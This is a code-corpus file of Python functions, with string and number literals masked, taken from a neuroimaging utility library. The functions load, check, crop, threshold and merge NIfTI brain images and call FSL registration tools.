{"signature": "def get_data(img):", "body": "if hasattr(img, '<STR_LIT>') and img._data_cache is None:<EOL><INDENT>img = copy.deepcopy(img)<EOL><DEDENT>gc.collect()<EOL>return img.get_data()<EOL>", "docstring": "Get the data in the image without having a side effect on the Nifti1Image object\n\n    Parameters\n    ----------\n    img: Nifti1Image\n\n    Returns\n    -------\n    np.ndarray", "id": "f4091:m1"}
{"signature": "def get_shape(img):", "body": "if hasattr(img, '<STR_LIT>'):<EOL><INDENT>shape = img.shape<EOL><DEDENT>else:<EOL><INDENT>shape = img.get_data().shape<EOL><DEDENT>return shape<EOL>", "docstring": "Return the shape of img.\n\n    Paramerers\n    -----------\n    img:\n\n    Returns\n    -------\n    shape: tuple", "id": "f4091:m2"}
{"signature": "def is_valid_coordinate(img, i, j, k):", "body": "imgx, imgy, imgz = get_shape(img)<EOL>return (i >= <NUM_LIT:0> and i < imgx) and(j >= <NUM_LIT:0> and j < imgy) and(k >= <NUM_LIT:0> and k < imgz)<EOL>", "docstring": "Return True if the given (i, j, k) voxel grid coordinate values are within the img boundaries.\n\n    Parameters\n    ----------\n    @param img:\n    @param i:\n    @param j:\n    @param k:\n\n    Returns\n    -------\n    bool", "id": "f4091:m3"}
{"signature": "def are_compatible_imgs(one_img, another_img):", "body": "try:<EOL><INDENT>check_img_compatibility(one_img, another_img)<EOL><DEDENT>except :<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Return true if one_img and another_img have the same shape.\n    False otherwise.\n    If both are nibabel.Nifti1Image will also check for affine matrices.\n\n    Parameters\n    ----------\n    one_img: nibabel.Nifti1Image or np.ndarray\n\n    another_img: nibabel.Nifti1Image  or np.ndarray\n\n    Returns\n    -------\n    bool", "id": "f4091:m4"}
{"signature": "def check_img_compatibility(one_img, another_img, only_check_3d=False):", "body": "nd_to_check = None<EOL>if only_check_3d:<EOL><INDENT>nd_to_check = <NUM_LIT:3><EOL><DEDENT>if hasattr(one_img, '<STR_LIT>') and hasattr(another_img, '<STR_LIT>'):<EOL><INDENT>if not have_same_shape(one_img, another_img, nd_to_check=nd_to_check):<EOL><INDENT>msg = '<STR_LIT>'.format(one_img.shape,<EOL>another_img.shape)<EOL>raise NiftiFilesNotCompatible(repr_imgs(one_img), repr_imgs(another_img), message=msg)<EOL><DEDENT><DEDENT>if hasattr(one_img, '<STR_LIT>') and hasattr(another_img, '<STR_LIT>'):<EOL><INDENT>if not have_same_affine(one_img, another_img, only_check_3d=only_check_3d):<EOL><INDENT>msg = '<STR_LIT>''<STR_LIT>'.format(one_img.get_affine(), another_img.get_affine())<EOL>raise NiftiFilesNotCompatible(repr_imgs(one_img), repr_imgs(another_img), message=msg)<EOL><DEDENT><DEDENT>", "docstring": "Return true if one_img and another_img have the same shape.\n    False otherwise.\n    If both are nibabel.Nifti1Image will also check for affine matrices.\n\n    Parameters\n    ----------\n    one_img: nibabel.Nifti1Image or np.ndarray\n\n    another_img: nibabel.Nifti1Image  or np.ndarray\n\n    only_check_3d: bool\n        If True will check only the 3D part of the affine matrices when they have more dimensions.\n\n    Raises\n    ------\n    NiftiFilesNotCompatible", "id": "f4091:m5"}
{"signature": "def have_same_affine(one_img, another_img, only_check_3d=False):", "body": "img1 = check_img(one_img)<EOL>img2 = check_img(another_img)<EOL>ndim1 = len(img1.shape)<EOL>ndim2 = len(img2.shape)<EOL>if ndim1 < <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(repr_imgs(img1), ndim1))<EOL><DEDENT>if ndim2 < <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(repr_imgs(img2), ndim1))<EOL><DEDENT>affine1 = img1.get_affine()<EOL>affine2 = img2.get_affine()<EOL>if only_check_3d:<EOL><INDENT>affine1 = affine1[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>affine2 = affine2[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL><DEDENT>try:<EOL><INDENT>return np.allclose(affine1, affine2)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return True if the affine matrix of one_img is close to the affine matrix of another_img.\n    False otherwise.\n\n    Parameters\n    ----------\n    one_img: nibabel.Nifti1Image\n\n    another_img: nibabel.Nifti1Image\n\n    only_check_3d: bool\n        If True will extract only the 3D part of the affine matrices when they have more dimensions.\n\n    Returns\n    -------\n    bool\n\n    Raises\n    ------\n    ValueError", "id": "f4091:m6"}
{"signature": "def _make_it_3d(img):", "body": "shape = get_shape(img)<EOL>if len(shape) == <NUM_LIT:3>:<EOL><INDENT>return img<EOL><DEDENT>elif (len(shape) == <NUM_LIT:4> and shape[<NUM_LIT:3>] == <NUM_LIT:1>):<EOL><INDENT>try:<EOL><INDENT>data   = get_data(img)<EOL>affine = img.get_affine()<EOL>img    = nib.Nifti1Image(data[:, :, :, <NUM_LIT:0>], affine)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(img)) from exc<EOL><DEDENT>else:<EOL><INDENT>return img<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(shape))<EOL><DEDENT>", "docstring": "Enforce that img is a 3D img-like object, if it is not, raise a TypeError.\n    i.e., remove dimensions of size 1.\n\n    Parameters\n    ----------\n    img: img-like object\n\n    Returns\n    -------\n    3D img-like object", "id": "f4091:m7"}
{"signature": "def check_img(image, make_it_3d=False):", "body": "if isinstance(image, string_types):<EOL><INDENT>if not op.exists(image):<EOL><INDENT>raise FileNotFound(image)<EOL><DEDENT>try:<EOL><INDENT>img = nib.load(image)<EOL>if make_it_3d:<EOL><INDENT>img = _make_it_3d(img)<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(image)) from exc<EOL><DEDENT>else:<EOL><INDENT>return img<EOL><DEDENT><DEDENT>elif isinstance(image, nib.Nifti1Image) or is_img(image):<EOL><INDENT>return image<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(type(image)))<EOL><DEDENT>", "docstring": "Check that image is a proper img. Turn filenames into objects.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    make_it_3d: boolean, optional\n        If True, check if the image is a 3D image and raise an error if not.\n\n    Returns\n    -------\n    result: nifti-like\n       result can be nibabel.Nifti1Image or the input, as-is. It is guaranteed\n       that the returned object has get_data() and get_affine() methods.", "id": "f4091:m8"}
{"signature": "def repr_imgs(imgs):", "body": "if isinstance(imgs, string_types):<EOL><INDENT>return imgs<EOL><DEDENT>if isinstance(imgs, collections.Iterable):<EOL><INDENT>return '<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(repr_imgs(img) for img in imgs))<EOL><DEDENT>try:<EOL><INDENT>filename = imgs.get_filename()<EOL>if filename is not None:<EOL><INDENT>img_str = \"<STR_LIT>\".format(imgs.__class__.__name__, filename)<EOL><DEDENT>else:<EOL><INDENT>img_str = \"<STR_LIT>\".format(imgs.__class__.__name__,<EOL>repr(get_shape(imgs)),<EOL>repr(imgs.get_affine()))<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>log.error('<STR_LIT>')<EOL>return repr(imgs)<EOL><DEDENT>else:<EOL><INDENT>return img_str<EOL><DEDENT>", "docstring": "Printing of img or imgs", "id": "f4091:m9"}
{"signature": "def repr_img(img):", "body": "return repr_imgs(img)<EOL>", "docstring": "Printing of img or imgs. See repr_imgs.", "id": "f4091:m10"}
{"signature": "def have_same_shape(array1, array2, nd_to_check=None):", "body": "shape1 = array1.shape<EOL>shape2 = array2.shape<EOL>if nd_to_check is not None:<EOL><INDENT>if len(shape1) < nd_to_check:<EOL><INDENT>msg = '<STR_LIT>'.format(shape1)<EOL>raise ValueError(msg)<EOL><DEDENT>elif len(shape2) < nd_to_check:<EOL><INDENT>msg = '<STR_LIT>'.format(shape2)<EOL>raise ValueError(msg)<EOL><DEDENT>shape1 = shape1[:nd_to_check]<EOL>shape2 = shape2[:nd_to_check]<EOL><DEDENT>return shape1 == shape2<EOL>", "docstring": "Returns true if array1 and array2 have the same shapes, false\notherwise.\n\nParameters\n----------\narray1: numpy.ndarray\n\narray2: numpy.ndarray\n\nnd_to_check: int\n    Number of the dimensions to check, i.e., if == 3 then will check only the 3 first numbers of array.shape.\nReturns\n-------\nbool", "id": "f4091:m11"}
{"signature": "def have_same_geometry(fname1, fname2):", "body": "img1shape = nib.load(fname1).get_shape()<EOL>img2shape = nib.load(fname2).get_shape()<EOL>return have_same_shape(img1shape, img2shape)<EOL>", "docstring": "@param fname1: string\nFile path of an image\n\n@param fname2: string\nFile path of an image\n\n@return: bool\nTrue if both have the same geometry", "id": "f4091:m12"}
{"signature": "def have_same_spatial_geometry(fname1, fname2):", "body": "img1shape = nib.load(fname1).get_shape()<EOL>img2shape = nib.load(fname2).get_shape()<EOL>return img1shape[:<NUM_LIT:3>] == img2shape[:<NUM_LIT:3>]<EOL>", "docstring": "@param fname1: string\nFile path of an image\n\n@param fname2: string\nFile path of an image\n\n@return: bool\nTrue if both have the same geometry", "id": "f4091:m13"}
{"signature": "def check_have_same_geometry(fname1, fname2):", "body": "if not have_same_geometry(fname1, fname2):<EOL><INDENT>raise ArithmeticError('<STR_LIT>' + fname1 + '<STR_LIT>' + fname2)<EOL><DEDENT>", "docstring": "@param fname1:\n@param fname2:", "id": "f4091:m14"}
{"signature": "def check_have_same_spatial_geometry(fname1, fname2):", "body": "if not have_same_spatial_geometry(fname1, fname2):<EOL><INDENT>raise ArithmeticError('<STR_LIT>' + fname1 + '<STR_LIT>' + fname2)<EOL><DEDENT>", "docstring": "@param fname1:\n@param fname2:", "id": "f4091:m15"}
{"signature": "def get_sampling_interval(func_img):", "body": "return func_img.get_header().get_zooms()[-<NUM_LIT:1>]<EOL>", "docstring": "Extracts the supposed sampling interval (TR) from the nifti file header.\n\n@param func_img: a NiBabel SpatialImage\n\n@return: float\nThe TR value from the image header", "id": "f4091:m16"}
{"signature": "def xfm_atlas_to_functional(atlas_filepath, anatbrain_filepath, meanfunc_filepath,<EOL>atlas2anat_nonlin_xfm_filepath, is_atlas2anat_inverted,<EOL>anat2func_lin_xfm_filepath,<EOL>atlasinanat_out_filepath, atlasinfunc_out_filepath,<EOL>interp='<STR_LIT>', rewrite=True, parallel=False):", "body": "if is_atlas2anat_inverted:<EOL><INDENT>anat_to_mni_nl_inv = atlas2anat_nonlin_xfm_filepath<EOL><DEDENT>else:<EOL><INDENT>output_dir         = op.abspath   (op.dirname(atlasinanat_out_filepath))<EOL>ext                = get_extension(atlas2anat_nonlin_xfm_filepath)<EOL>anat_to_mni_nl_inv = op.join(output_dir, remove_ext(op.basename(atlas2anat_nonlin_xfm_filepath)) + '<STR_LIT>' + ext)<EOL><DEDENT>invwarp_cmd   = op.join('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>applywarp_cmd = op.join('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>fslsub_cmd    = op.join('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if parallel:<EOL><INDENT>invwarp_cmd   = fslsub_cmd + '<STR_LIT:U+0020>' + invwarp_cmd<EOL>applywarp_cmd = fslsub_cmd + '<STR_LIT:U+0020>' + applywarp_cmd<EOL><DEDENT>if rewrite or (not is_atlas2anat_inverted and not op.exists(anat_to_mni_nl_inv)):<EOL><INDENT>log.debug('<STR_LIT>'.format(anat_to_mni_nl_inv))<EOL>cmd  = invwarp_cmd + '<STR_LIT:U+0020>'<EOL>cmd += '<STR_LIT>'.format(atlas2anat_nonlin_xfm_filepath)<EOL>cmd += '<STR_LIT>'.format(anat_to_mni_nl_inv)<EOL>cmd += '<STR_LIT>'.format(anatbrain_filepath)<EOL>log.debug('<STR_LIT>'.format(cmd))<EOL>check_call(cmd)<EOL><DEDENT>if rewrite or not op.exists(atlasinanat_out_filepath):<EOL><INDENT>log.debug('<STR_LIT>'.format(atlasinanat_out_filepath))<EOL>cmd  = applywarp_cmd + '<STR_LIT:U+0020>'<EOL>cmd += '<STR_LIT>'.format(atlas_filepath)<EOL>cmd += '<STR_LIT>'.format(anatbrain_filepath)<EOL>cmd += '<STR_LIT>'.format(anat_to_mni_nl_inv)<EOL>cmd += '<STR_LIT>'.format(interp)<EOL>cmd += '<STR_LIT>'.format(atlasinanat_out_filepath)<EOL>log.debug('<STR_LIT>'.format(cmd))<EOL>check_call(cmd)<EOL><DEDENT>if rewrite or not op.exists(atlasinfunc_out_filepath):<EOL><INDENT>log.debug('<STR_LIT>'.format(atlasinfunc_out_filepath))<EOL>cmd  = applywarp_cmd + '<STR_LIT:U+0020>'<EOL>cmd += '<STR_LIT>'.format(atlasinanat_out_filepath)<EOL>cmd += '<STR_LIT>'.format(meanfunc_filepath)<EOL>cmd += '<STR_LIT>'.format(anat2func_lin_xfm_filepath)<EOL>cmd += '<STR_LIT>'.format(interp)<EOL>cmd += '<STR_LIT>'.format(atlasinfunc_out_filepath)<EOL>log.debug('<STR_LIT>'.format(cmd))<EOL>check_call(cmd)<EOL><DEDENT>", "docstring": "Call FSL tools to apply transformations to a given atlas to a functional image.\n    Given the transformation matrices.\n\n    Parameters\n    ----------\n    atlas_filepath: str\n        Path to the 3D atlas volume file.\n\n    anatbrain_filepath: str\n        Path to the anatomical brain volume file (skull-stripped and registered to the same space as the atlas,\n        e.g., MNI).\n\n    meanfunc_filepath: str\n        Path to the average functional image to be used as reference in the last applywarp step.\n\n    atlas2anat_nonlin_xfm_filepath: str\n        Path to the atlas to anatomical brain linear transformation .mat file.\n        If you have the inverse transformation, i.e., anatomical brain to atlas, set is_atlas2anat_inverted to True.\n\n    is_atlas2anat_inverted: bool\n        If False will have to calculate the inverse atlas2anat transformation to apply the transformations.\n        This step will be performed with FSL invwarp.\n\n    anat2func_lin_xfm_filepath: str\n        Path to the anatomical to functional .mat linear transformation file.\n\n    atlasinanat_out_filepath: str\n        Path to output file which will contain the 3D atlas in the subject anatomical space.\n\n    atlasinfunc_out_filepath: str\n        Path to output file which will contain the 3D atlas in the subject functional space.\n\n    verbose: bool\n        If verbose will show DEBUG log info.\n\n    rewrite: bool\n        If True will re-run all the commands overwriting any existing file. Otherwise will check if\n        each file exists and if it does won't run the command.\n\n    parallel: bool\n        If True will launch the commands using ${FSLDIR}/fsl_sub to use the cluster infrastructure you have setup\n        with FSL (SGE or HTCondor).", "id": "f4092:m0"}
{"signature": "def merge_images(images, axis='<STR_LIT:t>'):", "body": "<EOL>if not images:<EOL><INDENT>return None<EOL><DEDENT>axis_dim = {'<STR_LIT:x>': <NUM_LIT:0>,<EOL>'<STR_LIT:y>': <NUM_LIT:1>,<EOL>'<STR_LIT:z>': <NUM_LIT:2>,<EOL>'<STR_LIT:t>': <NUM_LIT:3>,<EOL>}<EOL>if axis not in axis_dim:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(set(axis_dim.keys()), axis))<EOL><DEDENT>img1 = images[<NUM_LIT:0>]<EOL>for img in images:<EOL><INDENT>check_img_compatibility(img1, img)<EOL><DEDENT>image_data = []<EOL>for img in images:<EOL><INDENT>image_data.append(check_img(img).get_data())<EOL><DEDENT>work_axis = axis_dim[axis]<EOL>ndim = image_data[<NUM_LIT:0>].ndim<EOL>if ndim - <NUM_LIT:1> < work_axis:<EOL><INDENT>image_data = [np.expand_dims(img, axis=work_axis) for img in image_data]<EOL><DEDENT>return np.concatenate(image_data, axis=work_axis)<EOL>", "docstring": "Concatenate `images` in the direction determined in `axis`.\n\n    Parameters\n    ----------\n    images: list of str or img-like object.\n        See NeuroImage constructor docstring.\n\n    axis: str\n      't' : concatenate images in time\n      'x' : concatenate images in the x direction\n      'y' : concatenate images in the y direction\n      'z' : concatenate images in the z direction\n\n    Returns\n    -------\n    merged: img-like object", "id": "f4093:m0"}
{"signature": "def nifti_out(f):", "body": "@wraps(f)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>r = f(*args, **kwargs)<EOL>img = read_img(args[<NUM_LIT:0>])<EOL>return nib.Nifti1Image(r, affine=img.get_affine(), header=img.header)<EOL><DEDENT>return wrapped<EOL>", "docstring": "Picks a function whose first argument is an `img`, processes its\n    data and returns a numpy array. This decorator wraps this numpy array\n    into a nibabel.Nifti1Image.", "id": "f4093:m1"}
{"signature": "@nifti_out<EOL>def thr_img(img, thr=<NUM_LIT>, mode='<STR_LIT:+>'):", "body": "vol  = read_img(img).get_data()<EOL>if mode == '<STR_LIT:+>':<EOL><INDENT>mask = vol > thr<EOL><DEDENT>elif mode == '<STR_LIT>' or mode == '<STR_LIT>':<EOL><INDENT>mask = np.abs(vol) > thr<EOL><DEDENT>elif mode == '<STR_LIT:->':<EOL><INDENT>mask = vol < -thr<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(mode))<EOL><DEDENT>return vol * mask<EOL>", "docstring": "Use the given magic function name `func` to threshold with value `thr`\n    the data of `img` and return a new nibabel.Nifti1Image.\n    Parameters\n    ----------\n    img: img-like\n\n    thr: float or int\n        The threshold value.\n\n    mode: str\n        Choices: '+' for positive threshold,\n                 '+-' for positive and negative threshold and\n                 '-' for negative threshold.\n    Returns\n    -------\n    thr_img: nibabel.Nifti1Image\n        Thresholded image", "id": "f4093:m2"}
{"signature": "@nifti_out<EOL>def bin_img(img):", "body": "return read_img(img).get_data() > <NUM_LIT:0><EOL>", "docstring": "Return an image with the positive voxels of the data of `img`.", "id": "f4093:m3"}
{"signature": "@nifti_out<EOL>def positive_img(img):", "body": "bool_img = read_img(img).get_data() > <NUM_LIT:0><EOL>return bool_img.astype(int)<EOL>", "docstring": "Return an image with the positive voxels of the data of `img`.", "id": "f4093:m4"}
{"signature": "@nifti_out<EOL>def negative_img(img):", "body": "bool_img = read_img(img).get_data() < <NUM_LIT:0><EOL>return bool_img.astype(int)<EOL>", "docstring": "Return an image with the negative voxels of the data of `img`.", "id": "f4093:m5"}
{"signature": "@nifti_out<EOL>def div_img(img1, div2):", "body": "if is_img(div2):<EOL><INDENT>return img1.get_data()/div2.get_data()<EOL><DEDENT>elif isinstance(div2, (float, int)):<EOL><INDENT>return img1.get_data()/div2<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>'.format(type(img1),<EOL>img1,<EOL>type(div2),<EOL>div2))<EOL><DEDENT>", "docstring": "Pixelwise division or divide by a number", "id": "f4093:m8"}
{"signature": "@nifti_out<EOL>def apply_mask(img, mask):", "body": "from .mask import apply_mask<EOL>vol, _ = apply_mask(img, mask)<EOL>return vector_to_volume(vol, read_img(mask).get_data().astype(bool))<EOL>", "docstring": "Return the image with the given `mask` applied.", "id": "f4093:m9"}
{"signature": "@nifti_out<EOL>def abs_img(img):", "body": "bool_img = np.abs(read_img(img).get_data())<EOL>return bool_img.astype(int)<EOL>", "docstring": "Return an image with the binarised version of the data of `img`.", "id": "f4093:m10"}
{"signature": "@nifti_out<EOL>def icc_img_to_zscore(icc, center_image=False):", "body": "vol = read_img(icc).get_data()<EOL>v2 = vol[vol != <NUM_LIT:0>]<EOL>if center_image:<EOL><INDENT>v2 = detrend(v2, axis=<NUM_LIT:0>)<EOL><DEDENT>vstd = np.linalg.norm(v2, ord=<NUM_LIT:2>) / np.sqrt(np.prod(v2.shape) - <NUM_LIT:1>)<EOL>eps = np.finfo(vstd.dtype).eps<EOL>vol /= (eps + vstd)<EOL>return vol<EOL>", "docstring": "Return a z-scored version of `icc`.\n    This function is based on GIFT `icatb_convertImageToZScores` function.", "id": "f4093:m11"}
{"signature": "@nifti_out<EOL>def spatial_map(icc, thr, mode='<STR_LIT:+>'):", "body": "return thr_img(icc_img_to_zscore(icc), thr=thr, mode=mode).get_data()<EOL>", "docstring": "Return the thresholded z-scored `icc`.", "id": "f4093:m12"}
{"signature": "def filter_icc(icc, mask=None, thr=<NUM_LIT:2>, zscore=True, mode=\"<STR_LIT:+>\"):", "body": "if zscore:<EOL><INDENT>icc_filt = thr_img(icc_img_to_zscore(icc), thr=thr, mode=mode)<EOL><DEDENT>else:<EOL><INDENT>icc_filt = thr_img(icc, thr=thr, mode=mode)<EOL><DEDENT>if mask is not None:<EOL><INDENT>icc_filt = apply_mask(icc_filt, mask)<EOL><DEDENT>return icc_filt<EOL>", "docstring": "Threshold then mask an IC correlation map.\n    Parameters\n    ----------\n    icc: img-like\n        The 'raw' ICC map.\n\n    mask: img-like\n        If not None. Will apply this masks in the end of the process.\n\n    thr: float\n        The threshold value.\n\n    zscore: bool\n        If True will calculate the z-score of the ICC before thresholding.\n\n    mode: str\n        Choices: '+' for positive threshold,\n                 '+-' for positive and negative threshold and\n                 '-' for negative threshold.\n\n    Returns\n    -------\n    icc_filt: nibabel.NiftiImage\n        Thresholded and masked ICC.", "id": "f4093:m13"}
{"signature": "def read_img(img_file):", "body": "return check_img(img_file)<EOL>", "docstring": "Return a representation of the image, either a nibabel.Nifti1Image or the same object as img_file.\n    See boyle.nifti.check_img.\n\n    Parameters\n    ----------\n    img: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    Returns\n    -------\n    img", "id": "f4094:m0"}
{"signature": "def get_nii_info(img_file):", "body": "warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return get_img_info(img_file)<EOL>", "docstring": "See get_img_info", "id": "f4094:m1"}
{"signature": "def get_nii_data(nii_file):", "body": "warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return get_img_data(nii_file)<EOL>", "docstring": "See get_img_data", "id": "f4094:m2"}
{"signature": "def get_img_info(image):", "body": "try:<EOL><INDENT>img = check_img(image)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(repr_imgs(image))) from exc<EOL><DEDENT>else:<EOL><INDENT>return img.get_header(), img.get_affine()<EOL><DEDENT>", "docstring": "Return the header and affine matrix from a Nifti file.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    Returns\n    -------\n    hdr, aff", "id": "f4094:m3"}
{"signature": "def get_img_data(image, copy=True):", "body": "try:<EOL><INDENT>img = check_img(image)<EOL>if copy:<EOL><INDENT>return get_data(img)<EOL><DEDENT>else:<EOL><INDENT>return img.get_data()<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(repr_imgs(image))) from exc<EOL><DEDENT>", "docstring": "Return the voxel matrix of the Nifti file.\n    If safe_mode will make a copy of the img before returning the data, so the input image is not modified.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    copy: bool\n    If safe_mode will make a copy of the img before returning the data, so the input image is not modified.\n\n    Returns\n    -------\n    array_like", "id": "f4094:m4"}
{"signature": "def load_nipy_img(nii_file):", "body": "<EOL>import nipy<EOL>if not os.path.exists(nii_file):<EOL><INDENT>raise FileNotFound(nii_file)<EOL><DEDENT>try:<EOL><INDENT>return nipy.load_image(nii_file)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(repr_imgs(nii_file))) from exc<EOL><DEDENT>", "docstring": "Read a Nifti file and return as nipy.Image\n\n    Parameters\n    ----------\n    param nii_file: str\n        Nifti file path\n\n    Returns\n    -------\n    nipy.Image", "id": "f4094:m5"}
{"signature": "def niftilist_to_array(img_filelist, outdtype=None):", "body": "try:<EOL><INDENT>first_img = img_filelist[<NUM_LIT:0>]<EOL>vol       = get_img_data(first_img)<EOL><DEDENT>except IndexError as ie:<EOL><INDENT>raise Exception('<STR_LIT>'.format(repr_imgs(img_filelist[<NUM_LIT:0>]))) from ie<EOL><DEDENT>if not outdtype:<EOL><INDENT>outdtype = vol.dtype<EOL><DEDENT>outmat = np.zeros((len(img_filelist), np.prod(vol.shape)), dtype=outdtype)<EOL>try:<EOL><INDENT>for i, img_file in enumerate(img_filelist):<EOL><INDENT>vol = get_img_data(img_file)<EOL>outmat[i, :] = vol.flatten()<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(img_file)) from exc<EOL><DEDENT>return outmat, vol.shape<EOL>", "docstring": "From the list of absolute paths to nifti files, creates a Numpy array\nwith the data.\n\nParameters\n----------\nimg_filelist:  list of str\n    List of absolute file paths to nifti files. All nifti files must have\n    the same shape.\n\noutdtype: dtype\n    Type of the elements of the array, if not set will obtain the dtype from\n    the first nifti file.\n\nReturns\n-------\noutmat: Numpy array with shape N x prod(vol.shape)\n        containing the N files as flat vectors.\n\nvol_shape: Tuple with shape of the volumes, for reshaping.", "id": "f4094:m6"}
{"signature": "def _crop_img_to(image, slices, copy=True):", "body": "img    = check_img(image)<EOL>data   = img.get_data()<EOL>affine = img.get_affine()<EOL>cropped_data = data[slices]<EOL>if copy:<EOL><INDENT>cropped_data   = cropped_data.copy()<EOL><DEDENT>linear_part        = affine[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>old_origin         = affine[:<NUM_LIT:3>,  <NUM_LIT:3>]<EOL>new_origin_voxel   = np.array([s.start for s in slices])<EOL>new_origin         = old_origin + linear_part.dot(new_origin_voxel)<EOL>new_affine         = np.eye(<NUM_LIT:4>)<EOL>new_affine[:<NUM_LIT:3>, :<NUM_LIT:3>] = linear_part<EOL>new_affine[:<NUM_LIT:3>,  <NUM_LIT:3>] = new_origin<EOL>new_img = nib.Nifti1Image(cropped_data, new_affine)<EOL>return new_img<EOL>", "docstring": "Crops image to a smaller size\n\n    Crop img to size indicated by slices and modify the affine accordingly.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n        Image to be cropped.\n\n    slices: list of slices\n        Defines the range of the crop.\n        E.g. [slice(20, 200), slice(40, 150), slice(0, 100)]\n        defines a 3D cube\n\n        If slices has less entries than image has dimensions,\n        the slices will be applied to the first len(slices) dimensions.\n\n    copy: boolean\n        Specifies whether cropped data is to be copied or not.\n        Default: True\n\n    Returns\n    -------\n    cropped_img: img-like object\n        Cropped version of the input image", "id": "f4094:m7"}
{"signature": "def crop_img(image, rtol=<NUM_LIT>, copy=True):", "body": "img              = check_img(image)<EOL>data             = img.get_data()<EOL>infinity_norm    = max(-data.min(), data.max())<EOL>passes_threshold = np.logical_or(data < -rtol * infinity_norm,<EOL>data >  rtol * infinity_norm)<EOL>if data.ndim == <NUM_LIT:4>:<EOL><INDENT>passes_threshold = np.any(passes_threshold, axis=-<NUM_LIT:1>)<EOL><DEDENT>coords = np.array(np.where(passes_threshold))<EOL>start  = coords.min(axis=<NUM_LIT:1>)<EOL>end    = coords.max(axis=<NUM_LIT:1>) + <NUM_LIT:1><EOL>start = np.maximum(start - <NUM_LIT:1>, <NUM_LIT:0>)<EOL>end   = np.minimum(end   + <NUM_LIT:1>, data.shape[:<NUM_LIT:3>])<EOL>slices = [slice(s, e) for s, e in zip(start, end)]<EOL>return _crop_img_to(img, slices, copy=copy)<EOL>", "docstring": "Crops img as much as possible\n\n    Will crop img, removing as many zero entries as possible\n    without touching non-zero entries. Will leave one voxel of\n    zero padding around the obtained non-zero area in order to\n    avoid sampling issues later on.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n        Image to be cropped.\n\n    rtol: float\n        relative tolerance (with respect to maximal absolute\n        value of the image), under which values are considered\n        negligeable and thus croppable.\n\n    copy: boolean\n        Specifies whether cropped data is copied or not.\n\n    Returns\n    -------\n    cropped_img: image\n        Cropped version of the input image", "id": "f4094:m8"}
